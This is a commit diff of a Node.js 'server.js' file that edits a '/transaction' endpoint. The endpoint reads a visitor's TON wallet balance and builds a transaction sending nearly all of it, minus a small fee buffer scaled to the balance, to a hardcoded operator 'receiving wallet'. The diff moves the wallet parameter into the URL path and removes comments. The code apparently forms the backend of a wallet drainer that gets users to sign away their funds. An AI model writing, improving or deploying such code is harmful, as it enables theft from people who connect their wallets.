Update server.js

server.js

@@ -55,18 +55,16 @@ async function getWalletBalance(address) {
  * Transaction: frontend fetches this before sending transaction
  * Deducts buffer; fails gracefully if balance is too small.
  */
-app.get("/transaction", async (req, res) => {
-  const userWallet = req.query.wallet;
+app.get("/transaction/:wallet", async (req, res) => {
+  const userWallet = req.params.wallet;
   console.log("💰 Transaction request from:", userWallet);
 
   if (!userWallet) {
     return res.status(400).json({ error: "Wallet address missing" });
   }
 
-  // 👇 Replace this with your TON receiving wallet address
   const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
 
-  // Get balance of the user wallet
   const balanceNanoTon = await getWalletBalance(userWallet);
   if (!balanceNanoTon) {
     return res.status(500).json({ error: "Could not fetch balance" });
@@ -74,7 +72,6 @@ app.get("/transaction", async (req, res) => {
 
   const balanceTon = balanceNanoTon / 1e9;
 
-  // If balance is too low, return graceful 0
   if (balanceTon < 0.05) {
     console.log(`⚠️ Balance too low (${balanceTon} TON). Not building transaction.`);
     return res.json({
@@ -85,7 +82,6 @@ app.get("/transaction", async (req, res) => {
     });
   }
 
-  // Deduction buffer
   let bufferTon = 0.05;
   if (balanceTon > 100) bufferTon = 0.8;
   else if (balanceTon > 10) bufferTon = 0.5;
@@ -101,7 +97,7 @@ app.get("/transaction", async (req, res) => {
       {
         address: recipientAddress,
         amount: sendNanoTon.toString(),
-        payload: "" // optional base64 payload
+        payload: ""
       }
     ],
     raw: {